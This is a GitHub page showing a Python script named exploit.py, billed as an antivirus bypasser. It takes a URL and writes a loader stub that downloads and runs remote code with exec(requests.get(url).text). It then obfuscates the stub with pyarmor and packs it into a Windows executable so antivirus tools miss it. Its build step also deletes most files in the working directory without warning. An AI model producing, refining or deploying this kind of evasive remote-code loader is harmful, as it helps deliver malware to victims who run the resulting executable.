-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.py
86 lines (82 loc) · 4.18 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import shutil
import os
import sys
try:
import pyinstaller
except ImportError:
os.system("py -m pip install pyinstaller")
try:
import pyarmor
except ImportError:
os.system("py -m pip install pyarmor")
os.system("cls") if sys.platform.startswith("win") else os.system("clear")
from colorama import Fore,Style;blue = Fore.BLUE;red = Fore.RED;warn = Fore.YELLOW;green = Fore.GREEN;gray = Fore.LIGHTBLACK_EX;white_red = Fore.LIGHTRED_EX;white_green = Fore.LIGHTGREEN_EX;white_warn = Fore.LIGHTYELLOW_EX;white_blue = Fore.LIGHTBLUE_EX;reset_colors = Style.RESET_ALL; pink = Fore.MAGENTA
from datetime import datetime
banner = f"""
{red}
_ _ _ _ ___
/_\ _ __ | |_(_) /\ /(_)_ __ _ _ ___ / __\_ _ _ __ __ _ ___ ___ ___ _ __ {blue}by github.com/VirusNoirrr{red}
//_\\| '_ \| __| | \ \ / / | '__| | | / __| /__\// | | | '_ \ / _` / __/ __|/ _ \ '__|
/ _ \ | | | |_| | \ V /| | | | |_| \__ \ / \/ \ |_| | |_) | (_| \__ \__ \ __/ |
\_/ \_/_| |_|\__|_| \_/ |_|_| \__,_|___/ \_____/\__, | .__/ \__,_|___/___/\___|_|
|___/|_|
{warn}"Please do not use this tool to harm people."
"""
print(banner)
class Console:
def __init__(self,debug=False) -> None:
self.debug = debug
def error(self,x):
x = str(x)
if self.debug:
print(f"{red}[- ERROR -]{reset_colors} - {gray}[{datetime.now().date()} - {datetime.now().now().strftime('%H:%M:%S')}]{reset_colors} |\t {white_red}{x}{reset_colors}")
else:
print(f"{red}[-]{reset_colors}\t {red}{x}{reset_colors}")
def success(self,x):
if self.debug:
print(f"{green}[+ Success +]{reset_colors} - {gray}[{datetime.now().date()} - {datetime.now().now().strftime('%H:%M:%S')}]{reset_colors} |\t {white_green+x}{reset_colors}")
else:
print(f"{green}[+]{reset_colors}\t {white_green+x}{reset_colors}")
def warn(self,x,t=0):
if self.debug:
print(f"{warn}[! {'WARNING' if t == 0 else 'FAILED'} !]{reset_colors} - {gray}[{datetime.now().date()} - {datetime.now().now().strftime('%H:%M:%S')}]{reset_colors} |\t {white_warn+x}{reset_colors}")
else:
print(f"{warn}[!]{reset_colors}\t {white_warn+x}{reset_colors}")
def info(self,x):
if self.debug:
print(f"{blue}[* INFO *]{reset_colors} - {gray}[{datetime.now().date()} - {datetime.now().now().strftime('%H:%M:%S')}]{reset_colors} |\t {white_blue+x}{reset_colors}")
else:
print(f"{blue}[*]{reset_colors}\t {white_blue+x}{reset_colors}")
def input(self, x):
if self.debug:
x = input(f"{blue}[| INPUT |]{reset_colors} - {gray}[{datetime.now().date()} - {datetime.now().now().strftime('%H:%M:%S')}]{reset_colors} |\t {white_blue+x}{reset_colors}{white_warn}")
else:
x = input(f"{blue}[|]{reset_colors}\t {white_blue+x}{reset_colors}{white_warn}")
return x
console = Console(debug=True)
class AVBypasser:
def compile(self, filename):
for file in os.listdir("."):
if file != "main.py" and file != "data.txt" and not file.endswith(".ico") and file != filename:
if os.path.isdir(file):
shutil.rmtree(file)
else:
os.remove(file)
os.system(f'@echo off && pyarmor-7 pack -e " --onefile --clean --version-file data.txt {console.input("Add args (--arg1 --arg2) if not just click enter > ")}" --clean {filename}')
console.info(f"Done compiling the file. Goto dist/{filename.split('.py')[0]}.exe")
avbypasser = AVBypasser()
def main():
file_url = console.input("File url (raw) > ")
saveFileAs = console.input("Save file as (by default 'virusnoir.exe') : ")
if not saveFileAs:
saveFileAs = "virusnoir"
with open(saveFileAs+".py", "w") as f:
f.write("""
import requests
exec(requests.get('"""+file_url+"""').text)
""")
f.close()
saveFileAs += ".py"
avbypasser.compile(saveFileAs)
os.system("pause")
main()